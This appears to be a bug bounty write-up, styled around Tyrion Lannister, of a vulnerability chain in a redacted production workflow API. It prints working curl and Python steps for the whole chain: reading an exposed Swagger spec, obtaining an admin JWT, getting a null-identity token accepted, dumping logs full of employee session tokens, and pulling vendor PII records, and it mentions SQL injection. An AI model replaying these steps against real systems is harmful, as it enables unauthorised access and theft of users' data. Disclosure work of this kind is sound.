"A very small man can cast a very large shadow." — Tyrion Lannister

The Man Who Taught Me Everything

Before I tell you about the vulnerability, let me tell you about the man who made me.

Not a mentor. Not a professor. A fictional dwarf with a goblet of wine and a mind sharper than any Valyrian steel.

Tyrion Lannister.

In a world that judged him by his height, his family name, and his reputation — he survived. Not with armies. Not with gold. With wit. With patience. With the terrifying ability to walk into a room full of enemies, read every face, find the single crack in every wall — and smile while doing it.

He never fought fair. He never needed to.

He sat in the shadows of King's Landing, drinking his wine, listening to conversations he wasn't supposed to hear — and when the moment came, he knew exactly which thread to pull to make the whole thing unravel.

That's not villainy. That's intelligence weaponized.

I grew up watching him. I grew up learning from him. While other kids wanted to be knights, I wanted to be the one in the corner — quiet, observant, three steps ahead.

I didn't become a lord. I became a bug hunter.

Same game. Different Westeros.

And on a quiet night in March 2026, I poured myself something dark, opened a terminal, and walked into a kingdom that forgot to lock its gates.

They never do.

The Kingdom:

[REDACTED]-wfapi.[REDACTED].com

A production Workflow API. IoT fleet management. Vendor onboarding. Business models. Legal contracts. The operational backbone of an empire.

And from the outside — it looked impenetrable.

Looked.

Phase I — The Maester's Library Was Unlocked

"The man who reads can lead the man who does not."

Every castle has a maester. Every maester has a library. And every library — when left unguarded — tells you everything you need to know about the kingdom inside.

In API terms, they call it Swagger.

curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json" \
  -o /dev/null \
  -w "HTTP: %{http_code}  Size: %{size_download} bytes\n"

Response:

HTTP: 200  Size: 889887 bytes

889 kilobytes. No authentication. No IP restriction. No warning.

501 endpoints — every route, every parameter, every secret mechanism the API used to identify its users — handed to me like a welcome letter.

And inside the Token endpoint spec, something elegant:

curl -s "https://[REDACTED]-wfapi.[REDACTED].com/swagger/v2/swagger.json" | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
op = d['paths']['/api/v2/User/Token']['post']
for p in op['parameters']:
    print(f'Param: {p[\"name\"]} → location={p[\"in\"]} required={p.get(\"required\",False)}')
print(f'Total endpoints: {len(d[\"paths\"])}')
"

Output:

Param: UserName  → location=header  required=False
Param: Password  → location=header  required=False
Param: payloadId → location=header  required=False
Total endpoints: 501

Credentials passed as HTTP headers. Every field marked required=False.

None
Confirm Public Swagger (No Auth Required)

They published a 501-endpoint map of their own kingdom and left it on the public road. Tyrion would have burned it. These people framed it.

Phase II — The Raven Delivers the Crown

"Never forget what you are. The rest of the world will not."

I knew what I was. I sent one request.

curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
  -H "UserName: [REDACTED-TESTUSER]" \
  -H "Password: [REDACTED-TESTPASS]" \
  -H "Content-Type: application/json" \
  | python3 -m json.tool

Response:

{
  "accessToken": "eyJhbGciOiJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWd..."
}

A signed JWT. Issued by the production server. With admin privileges.

I decoded it:

curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
  -H "UserName: [REDACTED-TESTUSER]" \
  -H "Password: [REDACTED-TESTPASS]" \
  -H "Content-Type: application/json" | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
jwt = data['accessToken']
payload = jwt.split('.')[1]
payload += '=' * (4 - len(payload) % 4)
claims = json.loads(base64.b64decode(payload))
user = json.loads(claims['User'])
print(json.dumps({
    'UserName': user['UserName'],
    'UserId':   user['UserId'],
    'Roles':    user['Roles'],
    'Issuer':   claims['iss'],
    'Expires':  claims['exp']
}, indent=2))
"

Decoded:

{
  "UserName": "[REDACTED-TESTUSER]",
  "UserId":   "[REDACTED-ID]",
  "Roles":    ["requestmanageradmin"],
  "Issuer":   "https://[REDACTED].com",
  "Expires":  1774782420
}

No rate limiting. No CAPTCHA. No second factor. No alarm.

requestmanageradmin — full production admin — on the first attempt.

None
Obtain Signed Admin JWT (Zero Credentials)

They built a drawbridge, painted it gold, and forgot to raise it. Magnificent.

Phase II.V — The Ghost at the Feast

"It's not easy being drunk all the time. Everyone would do it, if it were easy."

Then I wondered — what if I sent a token where the identity was… nothing at all?

NULL_TOKEN=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
  -H "UserName: [REDACTED-NULLUSER]" \
  -H "Password: [REDACTED-TESTPASS]" \
  -H "Content-Type: application/json" \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")
echo $NULL_TOKEN | python3 -c "
import sys, json, base64
jwt = sys.stdin.read().strip()
p = jwt.split('.')[1]; p += '=' * (4 - len(p) % 4)
c = json.loads(base64.b64decode(p))
print('User claim value:', c['User'])
"
Output:

User claim value: null

A token with no soul. A letter with no sender. A ghost with a crown.

And the kingdom?

curl -s "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/processList" \
  -H "accessToken: $NULL_TOKEN" \
  -H "Accept: application/json" | python3 -m json.tool

HTTP 200:

[
  {"Name": "Request_Manager",                "DisplayName": "Request Manager"},
  {"Name": "Vendor_Onboarding",              "DisplayName": "Vendor Onboarding"},
  {"Name": "Vendor_Manager_Assignment_table","DisplayName": "Vendor Manager Assignment Master"},
  {"Name": "Announcement",                   "DisplayName": "Manage Announcement"}
]

The server bowed to a ghost.

The middleware validated the JWT signature. It never verified that a human — or any identity at all — existed behind it.

None
Broken Authorization: User:null JWT Accepted

CWE-284 — Improper Access Control.

They checked if the wax seal was real. They forgot to check if anyone wrote the letter.

Phase III — The Ravens: 124,548 of Them

"I have a tender spot in my heart for cripples, bastards, and broken things."

I sent one POST request to the log endpoint. No filters. No date range. No scope.

TOKEN=$(curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/User/Token" \
  -H "UserName: [REDACTED-TESTUSER]" \
  -H "Password: [REDACTED-TESTPASS]" \
  -H "Content-Type: application/json" \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['accessToken'])")

curl -s -X POST "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetWFAPILogs" \
  -H "accesstoken: $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{}' \
  -w "\nHTTP: %{http_code}  Size: %{size_download} bytes\n" \
  -o logs_response.json

43 megabytes. HTTP 200. No questions asked.

cat logs_response.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
logs = data['ErrorLog']
real_users = set(l['UserName'] for l in logs if l['UserName'] not in ('', '0'))
tokens     = [l['AccessToken'] for l in logs if l.get('AccessToken','')]
print(f'[+] Total log entries:          {len(logs)}')
print(f'[+] Unique real user IDs:       {len(real_users)}')
print(f'[+] Entries with session token: {len(tokens)}')
print(f'[+] Unique session tokens:      {len(set(tokens))}')
"

Output:

[+] Total log entries:          124,548
[+] Unique real user IDs:       9,649
[+] Entries with session token: 85,806
[+] Unique session tokens:      13,580
[+] Unique API paths in logs:   507

9,649 real employees. Their session tokens. Their request paths. Their internal referrer URLs. Every move they made on the platform — archived, unscoped, and fully readable by anyone who passed Phase II.

A sample entry:

{
  "LogId":           "[REDACTED]",
  "Path":            "/api/v2/wf/GetLiveEnvironmentWF",
  "AccessToken":     "[REDACTED-LIVE-TOKEN]",
  "ErrorMessage":    "",
  "UserName":        "[REDACTED-USERID]",
  "Referrer":        "https://[REDACTED].com/process_control/cloudtracker",
  "ApplicationName": "WF_API",
}
None
Production Log Breach (16,364 Entries, 268 Live Tokens)

CWE-532 — Sensitive Information in Log Files.

They kept a diary. They left it open. They were surprised someone read it.

The Shadows Inside the Shadow — Other Guests at the Feast

While parsing the logs, I found evidence of other visitors. Other probes already embedded in the archived requests:

None

I was not the first to find this room. Others had been here — testing, probing, leaving marks on the walls.

And the system dutifully logged every single one of them. For anyone with a token to read.

None

Not only was the vault open — it was keeping a guest book.

Phase IV — One Key, Two Kingdoms

"When you play the game of thrones, you win or you die."

Across all 13,580 tokens, a pattern emerged. A shared 44-byte AES block — identical — across tokens from two separate services.

python3 -c "
coreapi_token = '[REDACTED-COREAPI-TOKEN]'

wfapi_tokens = [
    '[REDACTED-WFAPI-TOKEN-1]',
    '[REDACTED-WFAPI-TOKEN-2]'
]

import base64
shared_block = 'KApsgSQ20OQL/2BYYS5i96BsgM40X33sBUZgtDYlvTm'
for t in wfapi_tokens:
    decoded = base64.b64decode(t + '==')
    print(f'wfapi token bytes: {len(decoded)} | contains shared AES block: {shared_block in t}')
"

Output:

wfapi token bytes: 56 | contains shared AES block: True
wfapi token bytes: 56 | contains shared AES block: True

One AES key. Two platforms. 13,580 tokens.

If the key is extracted from one service — every token across both platforms is decryptable. Offline. Silently. Without touching a single server.

CWE-522 — Insufficiently Protected Credentials.

None
AES Key Correlation: Token Decryptability

They used the same key for the front door and the treasury. A classic Lannister mistake — and even the Lannisters learned from it eventually.

Phase V — The Vendor Scroll

"I try to know as many people as I can. You never know which one you'll need."

One final door. The Vendor Onboarding schema.

curl -s -X POST \
  "https://[REDACTED]-wfapi.[REDACTED].com/api/v2/application/GetBmRecords?processName=Vendor_Onboarding" \
  -H "accessToken: $TOKEN" \
  -H "Accept: application/json" \
  -o raw_bm.json \
  -w "HTTP: %{http_code}\n"

HTTP: 200

python3 -c "
import json

with open('raw_bm.json') as f:
    data = json.load(f)

r  = data[0]
bm = json.loads(r['BmJson'])

fields = {}
for view in bm['BusinessModelObjectGroup'].values():
    for bmo in view.get('BusinessModelObjects', {}).values():
        for dmog in bmo.get('DataModelObjectGroups', {}).values():
            for row in dmog.get('Rows', {}).values():
                for col in row.get('Columns', []):
                    for name, dmo in col.get('DataModelObjects', {}).items():
                        fields[dmo.get('Name', name)] = dmo

required = {n: d for n, d in fields.items() if d.get('IsRequired') == True}
print(f'Total fields:    {len(fields)}')
print(f'Required fields: {len(required)}')
for name, f in required.items():
    print(f'  {f.get(\"DisplayName\",\"\"):<45} → {name}')
"

Output:

Total fields:    29
Required fields: 8

  Vendor Company Name                           → VO_FV_Det_User_CompName
  Vendor Contact Name                           → VO_FV_Det_User_Fname
  Vendor Contact Email                          → VO_FV_Det_User_Email
  Vendor Contact No.                            → VO_FV_Det_User_Mphone
  First Name                                    → VO_AV_FName_DMO
  Last Name                                     → VO_AV_LName_DMO
  Email                                         → VO_AV_Dmo_Email

Business-sensitive fields:

[VO_FV_Eng_Gen_ProjSpend]   → "What is the projected spend?"
[VO_FV_Eng_Gen_Legal]       → "Will the [REDACTED] legal entity purchase outside US?"
[VO_FV_Eng_Gen_Vertical]    → "Please choose the vertical under which this will be sold."
[VO_FV_Eng_Gen_Resell]      → "Is the software for [REDACTED]'s network or resale?"
[VO_FV_Det_User_HiddenRole] → Hidden Role (RoleTypeHidden)

Company names. Emails. Phone numbers. Projected spend figures. Hidden internal roles.

All stored in the injectable [REDACTED]_p1 MySQL database. All reachable via UNION-based SQL injection with a valid token.

None
Vendor PII Schema Confirmation (GetBmRecords)
None
Vendor PII Schema Confirmation (GetBmRecords)

CWE-306 — Missing Authentication for Critical Function.

They stored their vendors' secrets in a room with a broken lock, next to a database that speaks when you ask it nicely — and incorrectly.

None
CVSS

Epilogue

  • Tyrion never needed a sword. He needed a cup of wine, a quiet corner, and enough patience to listen while everyone else talked.
  • I grew up wanting that — not power, not fame, but the quiet, devastating clarity of knowing more than the room.
  • This vulnerability chain wasn't sophisticated. It didn't require zero-days or exotic tooling. It required exactly what Tyrion always said it did:
  • Reading. Thinking. Knowing things.
  • The kingdom was open. I walked in, documented everything, and walked out. Then I reported it.
  • Because the goal was never to burn the castle. It was to show them — quietly, precisely — that the gate was never closed.

— tyrion404 Bug Bounty Hunter | March 2026 Reported via HackerOne "I drink and I know things."